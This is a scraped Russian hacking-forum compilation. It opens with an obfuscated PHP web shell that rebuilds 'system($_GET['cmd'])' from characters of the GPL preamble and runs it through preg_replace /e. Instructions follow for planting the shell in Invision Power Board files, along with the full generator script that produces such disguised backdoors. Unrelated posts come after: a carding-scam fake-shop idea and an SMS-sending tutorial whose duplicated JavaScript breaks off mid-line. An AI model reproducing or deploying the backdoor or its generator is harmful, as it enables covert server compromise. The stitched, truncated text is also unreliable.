To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.";
@mysql_close($i = join("", array($i, $license[48])));
crypt($i = $i.$license[73]);
nl2br($i = $i.$license[48]);
nl2br($i = join("", array($i, $license[78])));
md5($i = $i.$license[46]);
crypt($i = implode("", array($i, $license[205])));
md5($i .= $license[80]);
crypt($i = join("", array($i, $license[1])));
md5($i = join("", array($i, $license[321])));
md5($i = implode("", array($i, $license[8])));
@convert_cyr_string($i = $i.$license[13]);
nl2br($i = implode("", array($i, $license[339])));
@mysql_query($i = join("", array($i, $license[322])));
@mysql_close($i = join("", array($i, $license[685])));
md5($i = $i.$license[123]);
@mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i = implode("", array($i, $license[685])));
@mysql_close($i = $i.$license[331]);
@mysql_query($i = implode("", array($i, $license[82])));
chop($i .= $license[1285]);
@preg_replace("#(\d+)#e", $i, "31337");
В качестве примера использования рассмотрим Invision Power Board 2.1.7
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в
index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить
код без юзания GET'а, а, например, брать код из заголовка Referer или что-
нибудь в этом роде).
Результат показан на картинке:
Естественно, писал весь этот код я не сам, а при помощи скрипта-
перекодировщика, которому нужно скормить текст (для "выдирания" оттуда
символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что
показано выше, только в различных вариациях + результат выполнения
сгенерированного кода.
Скрипт-перекодировщик:
Code:Copy to clipboard
<?
$license = <<<EOF
$ GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright © 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
_[Preamble]_
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
EOF;
$text = "system(\$_GET['cmd']);";
function process_text($base_name, $out_name, $base, $text)
{
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
$functions = array( '@mysql_query', '@mysql_close', '@mysql_fetch_array', 'crypt', 'chop', 'nl2br', '@convert_cyr_string', 'md5' );
$encode = '$'.$base_name.' = "'.str_replace('"', '\\'.'"', $base).'";'."\n";
for($i=0;$i<strlen($text);$i++)
{
$p = strpos($base, $text[$i]);
if($p===false)
die("Conversion impossible (can't find match for '".$text[$i]."')");
$func = $functions[ mt_rand()%count($functions) ];
switch(mt_rand()%4)
{
case 0:
$encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
break;
case 1:
$encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
break;
case 2:
$encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
case 3:
$encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
break;
}
preg_match("#\.(\d+) #", microtime(), $d);
mt_srand($d[1]);
}
switch(mt_rand()%3)
{
case 0:
$encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
break;
case 1:
$encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
break;
case 2:
$encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
break;
}
return $encode;
}
$c = process_text("license", "i", $license, $text);
echo "<pre>$c</pre>";
echo "<p>";
eval($c);
?>
© Great, 2006.
Всем привет!!!
Для меня сейчас настал такой период, когда приходится вибирать направление для
дальнейшей профессиональной деятельности. Я заканчиваю 5 курс. за эти 5 лет
практически изучил множество языков программирования и многи направления в
программировании.
Но... все знать это тяжело!!!
И я бы хотел чтобы вы поделились своим мнением по какому направлению (сети,
БД, и т.п.) лучше продолжать изучать программирование (С++, Delphi).
Вообщем , ещё года 2 назад на всех форумов начали толпами появляться учителя
по вбиву , продаж товаров с ebay за 40% и прочее . Видимо кто-то начал активно
сливать инфу с кардинг форумов и так как это более менее работало все начали
копать в эту нишу . Однако как-только брут палки почти умер мат стал довольно
дефицитным (помню времени когда акки палки продавали п 5-10 руб. и то покупать
не хотели .... а сейчас ?
).
Так вот , недавно подумал а почему бы нам немного не заработать на этих 15
летних вбивалах ?) Правда потом передумал , может совесть а может просто не
хочу иметь нечего общего с скамом .
Но план был токов , сделать фейк магазин с матом и просто спамить им , во 1 не
думаю что они заявы писать будут во 2 они делают чернуху так почему мы им
тёмную сделать не можем ?
По быстрому 'на коленке' собрал небольшой 'магазин' (до конца правда не
допилил но дизайн некогда не был моей нишей ...)
Вот что получилось
Spoiler: Клик
Над методом оплаты долго не думал и просто взял яндекс . Он может принимать
как ЯД так и оплату с карт . Более чем должно быть .
Ну а вот сам сайт https://yadi.sk/d/qWI-7V2LYeB79w
Решил выложить , вдруг кто тему до ума доведёт
За создание этого чёрного борца с чернухой отвечает DeiTy
[Статья] Что же такое этот ExtJS?
Статья: Читать
Кидаем сюда интересные сайты по кодингу.
Начну первым:
Достаточно актуальная на сегодняшний момент статья. Случайно наткнулся в нете на 1 из сайтов, думаю будет всем интересно.
Часть 1
Большинство из нас имеют мобилки, и очень часто пользуются такой услугой, как
отправка SMS-сообщений. И, наверное, все задумывались, как бы сделать так, что
бы эти самые SMS-сообщения можно было отправлять бесплатно. Мой вариант,
конечно, не совсем можно считать «бесплатным», но те из нас, кто имеет
анлимитный доступ в интернет (дома \ на работе) смогут без всяких на то затрат
отправлять смс-ки со своего компьютера.
Что для этого нужно?
Во-первых, прямые руки и желание.
Во-вторых, хоть какие то знания в php и html.
В-третьих, иметь зарегистрированное место на каком-то сервере, который
поддерживает php (можно на бесплатном, могу посоветовать www.h1.ru или
www.iatp.org.ua).
Приступаем к работе.
У нас будет всего два файла: один это html-страница (тобиш index.html),
которая будет содержать форму отправки смс-ок, второй – php-скрипт (тобиш
send.php) отправки наших смс-ок.
И так перед вами исходник index.html:
Code:Copy to clipboard
<FORM ACTION="send.php" METHOD=POST>
<TABLE BORDER=0>
<TR>
<TD>Номер телефона:</TD>
<TD><input type=text name="phone" cols=40></TD></TR>
<TR>
<TD>Выбор оператора:</TD>
<TD><select name=operator size=1>
<option value=01 selected>operator 1</option>
<option value=02>operator 2</option>
<option value=03>operator3</option></TD></TR>
<TR>
<TD colspan=2>
Сообщение:
<textarea name="sms" cols=40 rows=5></textarea></TD></TR>
<TR>
<TD colspan=2 align=center><input type=submit value="Отправить"> <input type=reset value="Очистить"></TD></TR>
</TABLE></FORM>
Здесь все очень просто - имеесться форма заполнения полей, необходимых для
отправки сообщений.
Исходник нашего скрипта send.php:
Code:Copy to clipboard
<?
$mail_addr = $_POST["phone"];
$text = $_POST["sms"];
switch ($_POST["operator"]) {
case "01": // operator1
$mail_addr .= "@operator1.com";
break;
case "02": // operator2
$mail_addr .= "@operator2.com";
break;
case "03": // operator3
$mail_addr .= "@operator3.com";
break;
// Здесь для других операторов...
}
$mes="$text";
mail($mail_addr, "", $mes);
echo "Ваше SMS на номер $mail_addr
с текстом: $mes
отправлено
<center><a href='index.html'>Отправить ещё</a>";
?>
Здесь тоже все очень просто - получиные данные с index.html мы подставляем и
получаем простую, но эффективную програму для отправки sms-сообщений. Следует
заметить, что "@operator.com" нужно заменить на адрес оператора на телефоны,
которого вы будете отправлять sms-сообщения, т.е. к примеру, что бы отправить
sms на телефон украинского оператора Kyivstar (пакет Ace&Bace) нужно вписать
"@2sms.kyivstar.net".
Все - програма готова. Теперь заливаем эти файлы на наш зарание подготовленный
сервер и отправляем смс-ки!
Но в этом скрипте есть также и очень важный момент - вы не сможете отправлять
sms-ки на телефоны операторов, которые не потдерживают отправку с e-mail'а.
В 2 части статьи мы добавим транслит с кирилицы в латиницу (привет -> privet),
что позволит нам значительно увеличить размер сообщения (ведь если писать в
кирилице то максимальная длина сообщения составит всего лишь 70 символов, а в
латинице - 160).
Удачи!
Часть 2
И так, как я и обещал во воторой части стаьи "Пишем скрипт отправки SMS на
PHP", мы с вами напишем транcлит для нашей прогрмы.
И так приступим
Все, что нам нужно это отредактировать и добавить один java*script в нашу
"главную страницу" (inde.html).
В самое начало добавлем выше упомянутый скрипт:
Code:Copy to clipboard
<script language="java*script"">
<!--
var maxLen=160;
function setLen(dcs)
{
if( dcs == 0 )
{
maxLen = 160;
}
else
{
maxLen = 70;
}
checkLen();
}
function setmaxlng()
{
document.text.len.value = maxLength;
}
function checkLen()
{
if (document.all) {
str = text.sms.value;
len = str.length;
}
else{
str = document.forms.text.sms.value;
len = document.forms.text.name.textLength;
}
var rusLen = 0;
if(document.forms.text.dcs[1].checked){
var re = /[ёжцчшюя??]/i;
var re1 = /[щ]/i;
for(i=0;i<=len;i++){
if(re.test(str.substr(i,1))){
rusLen = rusLen +1;
}
if(re1.test(str.substr(i,1))){
rusLen = rusLen +2;
}
}
}
fullLen = maxLen - rusLen;
if ( len > fullLen) document.forms.text.sms.value = str.substring(0,fullLen);
document.forms.text.len.value = (fullLen - document.forms.text.sms.value.length);
document.forms.text.sms.focus();
}
// ------------------------------------Start garbage-----------------------------------------
// Translit:
// -------------------------- CONVERT TO RUS --------------------------
// 1 character letters
eng_table = "ABVGDEZIJKLMNOPRSTUFHXCYabvgdezijklmnoprstufhxcy'";
rus_table = "АБВГДЕЗИЙКЛМНОПРСТУФХХЦЫабвгдезийклмнопрстуфххцыь";
// 2 character letters
eng_table2 = "YOJOZHCHSHYUJUYAJAyojozhchshyujuyajaYoYoZhChShYuJuYaJa";
rus_table2 = "ЁЁЖЧШЮЮЯЯёёжчшююяяЁЁЖЧШЮЮЯЯ";
function translit2win(str)
{
var len = str.length;
var new_str="";
for (i = 0; i < len; i++)
{
// Check for 2-character letters
is2char=false;
if (i < len-1)
{
for(j = 0; j < rus_table2.length; j++)
{
if(str.substr(i, 2) == eng_table2.substr(j*2,2))
{
new_str+= rus_table2.substr(j, 1);
i++;
is2char=true;
break;
}
}
}
if(!is2char)
{
// Convert one-character letter
var c = str.substr(i, 1);
var pos = eng_table.indexOf(c);
if (pos < 0)
new_str+= c;
else
new_str+= rus_table.substr(pos, 1);
}
}
return new_str;
}
// -------------------------- CONVERT TO LAT --------------------------
lat_eng_table = "ABVGDEJZIYKLMNOPRSTUFH4CIabvgdejziyklmnoprstufh4ci'";
lat_rus_table = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЧЦЫабвгдежзийклмнопрстуфхчцыь";
function translit2lat(str)
{
var len = str.length;
var new_str="";
for (i = 0; i < len; i++)
{
// Check for 2-character letters
is2char=false;
if (i < len)
{
if(str.substr(i, 1) == 'Ю')
{
new_str += 'YU ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'ю')
{
new_str += 'yu ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'Я')
{
new_str += 'YA ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'я')
{
// alert("1"+str.substr(i, 1)+"1");
new_str += 'ya ';
i++;
is2char=true;
}
}
// Convert one-character letter
if(!is2char)
{
var c = str.substr(i, 1);
var pos = lat_rus_table.indexOf(c);
if (pos < 0)
new_str+= c;
else
new_str+= lat_eng_table.substr(pos, 1);
}
}
return new_str;
}
// ------------------------------------end garbage-----------------------------------------
function openTranslit()
{
var myUrl = "translit.html";
myWin=window.open(myUrl, "wind1", "width=800,height=745,resizable=no,scrollbars=no,menubar=no");
}
// *********************************************************************************
/*var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-X-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+
+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+String.fromCharCode(39)+
+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');
var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_X_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_X_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_x_c_#_y_\'').split('_');
*/
var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-'+String.fromCharCode(96)+'-q').split('-');
var rus_rl = ('А-Б-В-Г-Д-Е-Ё-Ж-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Ц-Ч-Ш-Щ-Ъ-Ы-Ь-Э-Ю-Я-а-б-в-г-д-е-ё-ж-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-ц-ч-ш-щ-ъ-ы-ь-э-ю-я').split('-');
var lat_rl = ('A-B-V-G-D-E-JO-ZH-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-C-CH-SH-SHH-'+String.fromCharCode(35)+String.fromCharCode(35)+'-Y-'+String.fromCharCode(39)+String.fromCharCode(39)+
+'-JE-JU-JA-a-b-v-g-d-e-jo-zh-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-c-ch-sh-shh-'+String.fromCharCode(35)+'-y-'+String.fromCharCode(39)+'-je-ju-ja').split('-');
var lat = ('/E_/e_/O_/ o_Шh_Йo_Зh_Цh_Сh_Йe_Йu_Йa_Ыo_Ыu_Ыa_ШH_ЙO_ЗH_ЦH_СH_ЙE_ЙU_ЙA_ЫO_ЫU_ЫA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_
S_T_U_F_H_C_ъ#_Y_ь\'_H_W_Q_шh_йo_зh_цh_сh_йe_йu_йa_ыo_ыa_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'_h_w_q').split('_');
var rus = (& #39;E_e_O_o_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_Ё_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_
Ъ_Ы_Ь_Х_Щ_Я_щ_ё_ж_ч_ш_э_ю_я_ё_я_а_б_в_г_д_е_з_и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь_х_щ_я').split('_');
var rus2 = (& #39;Щ_Ё_Ж_Ч_Ш_Э_Ю_Я_А_Б_В_Г_Д_Е_З_И_Й_К_Л_М_Н_О_П_Р_С_Т_У_Ф_Х_Ц_Ъ_Ы_Ь_щ_ё_ж_ч_ш_э_ю_я_а_б_в_г_д_е_з_
и_й_к_л_м_н_о_п_р_с_т_у_ф_х_ц_ъ_ы_ь').split('_');
var lat2 = ('SHH_JO_ZH_CH_SH_JE_JU_JA_A_B_V_G_D_E_Z_I_J_K_L_M_N_O_P_R_S_T_U_F_H_C_##_Y_\'\'_shh_jo_zh_ch_sh_je_ju_ja_a_b_v_g_d_e_z_i_j_k_l_m_n_o_p_r_s_t_u_f_h_c_#_y_\'').split('_');
var translitown=0;
var processhtmltags = 1; // switch to latin when the html tag <...> is typed in
var processbbcodetags = 1; // switch to latin when the bbcode tag [...] is typed in
var language = 0;
var maxtransliterationlength=3;
var lenreafontsize = 14; // WAENING: the value is defined in the main.css !!!
var textreafontwidth = 7; // The width of the text is supposed to be 7 !!!
var prelanguage = 0;
function translatesymboltocyrillic(txt)
{
for (var ii=0; ii<lat.length; ii++)
{
pos = txt.length>lat[ii].length?(txt.length-lat[ii].length):0;
if (lat[ii]==txt.substr(pos,txt.length-pos)) {
return txt.substr(0,txt.length-lat[ii].length)+rus[ii];
}
}
return txt;
}
function translatesymboltolatin(symb)
{
for (var ii=0;ii<rus2.length;ii++)
{
if (rus2[ii]==symb)
return lat2[ii];
}
return symb;
}
function translateAlltoCyrillic()
{
var inloop=1;
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
preval = tt.value.substring(0, p1);
txt = tt.value.substring(p1,p2);
postval = tt.value.substring(p2);
}
var txtnew = "";
if ((!processhtmltags)&&(!processbbcodetags))
{
txtnew = translateStringtoCyrillic(txt);
}
else
{
var htt1,pbb1,t1,t2,txt1,txt2,tag_open,tag_close;
var noinputtag=0;
if (processhtmltags) {tag_open="<";tag_close=">";}
if (processbbcodetags) {tag_open="[";tag_close="]";}
while(inloop)
{
if (processhtmltags&&processbbcodetags)
{
htt1 = txt.indexOf("<");
pbb1 = txt.indexOf("[");
if (pbb1==htt1) {noinputtag=1}
if (pbb1==-1) {pbb1=txt.length;}
if (htt1==-1) {htt1=txt.length;}
if (htt1<pbb1) {t1=htt1; tag_close=">";} else {t1=pbb1; tag_close="]";}
}
else
{
t1 = txt.indexOf(tag_open);
if (t1==-1) noinputtag=1;
}
if (noinputtag) {inloop=0;t1=txt.length;t2=txt.length;}
else
{
txt2=txt.substring(t1,txt.length);
t2=txt2.indexOf(tag_close);
//if (t2==-1) {t2=txt.length; inloop=0;} else {t2=t2+t1+1};
if (t2==-1) {t2=t1+1} else {t2=t2+t1+1};
}
txt1 = txt.substring(0,t1);
txt2 = txt.substring(t1,t2);
txt = txt.substring(t2,txt.length);
txtnew = txtnew+translateStringtoCyrillic(txt1)+txt2;
}
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
function translateStringtoCyrillic(thestringlat)
{
var symbb,fromm,howmuch,thestringcyr="";
for (kk=0;kk<thestringlat.length;kk++)
{
howmuch = thestringcyr.length>maxtransliterationlength?maxtransliterationlength:thestringcyr.length;
fromm = thestringcyr.length-howmuch;
symbbb = thestringlat.substr(kk,1);
symbbb = translatesymboltocyrillic(thestringcyr.substr(fromm,howmuch)+symbbb);
thestringcyr = thestringcyr.substr(0,fromm)+symbbb;
}
return thestringcyr;
}
function translateAlltoLatin()
{
tt = window.document.text.sms;
p1 = tt.selectionStart; p2 = tt.selectionEnd;
var preval = ""; var postval="";
if (p1==p2) {txt = tt.value;}
else
{
preval = tt.value.substring(0, p1);
txt = tt.value.substring(p1,p2);
postval = tt.value.substring(p2);
}
txtnew="";
var symb = "";
for (kk=0;kk<txt.length;kk++)
{
symb = translatesymboltolatin(txt.substr(kk,1));
txtnew = txtnew.substr(0,txtnew.length) + symb;
}
tt.value = preval+txtnew+postval;
if (p1!=p2) {tt.setSelectionRange(p1+txtnew.length,p1+txtnew.length);}
tt.focus();
return true;
}
//-->
</script>
А затем немного редактируем и саму форму отправки.
В итоге наш файл index.html должен иметь такой вид (вместе с java*script'ом
транслита):
Code:Copy to clipboard
<html>
<head>
<meta HTTP-EQUIV="content-type" CONTENT="text/html; charset=koi8-r">
<title>SMS</title>
<script language="java*script"">
<!--
var maxLen=160;
function setLen(dcs)
{
if( dcs == 0 )
{
maxLen = 160;
}
else
{
maxLen = 70;
}
checkLen();
}
function setmaxlng()
{
document.text.len.value = maxLength;
}
function checkLen()
{
if (document.all) {
str = text.sms.value;
len = str.length;
}
else{
str = document.forms.text.sms.value;
len = document.forms.text.name.textLength;
}
var rusLen = 0;
if(document.forms.text.dcs[1].checked){
var re = /[ёжцчшюя??]/i;
var re1 = /[щ]/i;
for(i=0;i<=len;i++){
if(re.test(str.substr(i,1))){
rusLen = rusLen +1;
}
if(re1.test(str.substr(i,1))){
rusLen = rusLen +2;
}
}
}
fullLen = maxLen - rusLen;
if ( len > fullLen) document.forms.text.sms.value = str.substring(0,fullLen);
document.forms.text.len.value = (fullLen - document.forms.text.sms.value.length);
document.forms.text.sms.focus();
}
// ------------------------------------Start garbage-----------------------------------------
// Translit:
// -------------------------- CONVERT TO RUS --------------------------
// 1 character letters
eng_table = "ABVGDEZIJKLMNOPRSTUFHXCYabvgdezijklmnoprstufhxcy'";
rus_table = "АБВГДЕЗИЙКЛМНОПРСТУФХХЦЫабвгдезийклмнопрстуфххцыь";
// 2 character letters
eng_table2 = "YOJOZHCHSHYUJUYAJAyojozhchshyujuyajaYoYoZhChShYuJuYaJa";
rus_table2 = "ЁЁЖЧШЮЮЯЯёёжчшююяяЁЁЖЧШЮЮЯЯ";
function translit2win(str)
{
var len = str.length;
var new_str="";
for (i = 0; i < len; i++)
{
// Check for 2-character letters
is2char=false;
if (i < len-1)
{
for(j = 0; j < rus_table2.length; j++)
{
if(str.substr(i, 2) == eng_table2.substr(j*2,2))
{
new_str+= rus_table2.substr(j, 1);
i++;
is2char=true;
break;
}
}
}
if(!is2char)
{
// Convert one-character letter
var c = str.substr(i, 1);
var pos = eng_table.indexOf(c);
if (pos < 0)
new_str+= c;
else
new_str+= rus_table.substr(pos, 1);
}
}
return new_str;
}
// -------------------------- CONVERT TO LAT --------------------------
lat_eng_table = "ABVGDEJZIYKLMNOPRSTUFH4CIabvgdejziyklmnoprstufh4ci'";
lat_rus_table = "АБВГДЕЖЗИЙКЛМНОПРСТУФХЧЦЫабвгдежзийклмнопрстуфхчцыь";
function translit2lat(str)
{
var len = str.length;
var new_str="";
for (i = 0; i < len; i++)
{
// Check for 2-character letters
is2char=false;
if (i < len)
{
if(str.substr(i, 1) == 'Ю')
{
new_str += 'YU ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'ю')
{
new_str += 'yu ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'Я')
{
new_str += 'YA ';
i++;
is2char=true;
}
if(str.substr(i, 1) == 'я')
{
// alert("1"+str.substr(i, 1)+"1");
new_str += 'ya ';
i++;
is2char=true;
}
}
// Convert one-character letter
if(!is2char)
{
var c = str.substr(i, 1);
var pos = lat_rus_table.indexOf(c);
if (pos < 0)
new_str+= c;
else
new_str+= lat_eng_table.substr(pos, 1);
}
}
return new_str;
}
// ------------------------------------end garbage-----------------------------------------
function openTranslit()
{
var myUrl = "translit.html";
myWin=window.open(myUrl, "wind1", "width=800,height=745,resizable=no,scrollbars=no,menubar=no");
}
// *********************************************************************************
/*var rus_lr2 = ('Е-е-О-о-Ё-Ё-Ё-Ё-Ж-Ж-Ч-Ч-Ш-Ш-Щ-Щ-Ъ-Ь-Э-Э-Ю-Ю-Я-Я-Я-Я-ё-ё-ж-ч-ш-щ-э-ю-я-я').split('-');
var lat_lr2 = ('/E-/e-/O-/o-ЫO-Ыo-ЙO-Йo-ЗH-Зh-ЦH-Цh-СH-Сh-ШH-Шh-ъ'+String.fromCharCode(35)+'-ь'+String.fromCharCode(39)+
+'-ЙE-Йe-ЙU-Йu-ЙA-Йa-ЫA-Ыa-ыo-йo-зh-цh-сh-шh-йe-йu-йa-ыa').split('-');
var rus_lr1 = ('А-Б-В-Г-Д-Е-З-И-Й-К-Л-М-Н-О-П-Р-С-Т-У-Ф-Х-Х-Ц-Щ-Ы-Я-а-б-в-г-д-е-з-и-й-к-л-м-н-о-п-р-с-т-у-ф-х-х-ц-щ-ъ-ы-ь-ь-я').split('-');
var lat_lr1 = ('A-B-V-G-D-E-Z-I-J-K-L-M-N-O-P-R-S-T-U-F-H-X-C-W-Y-Q-a-b-v-g-d-e-z-i-j-k-l-m-n-o-p-r-s-t-u-f-h-x-c-w-'+
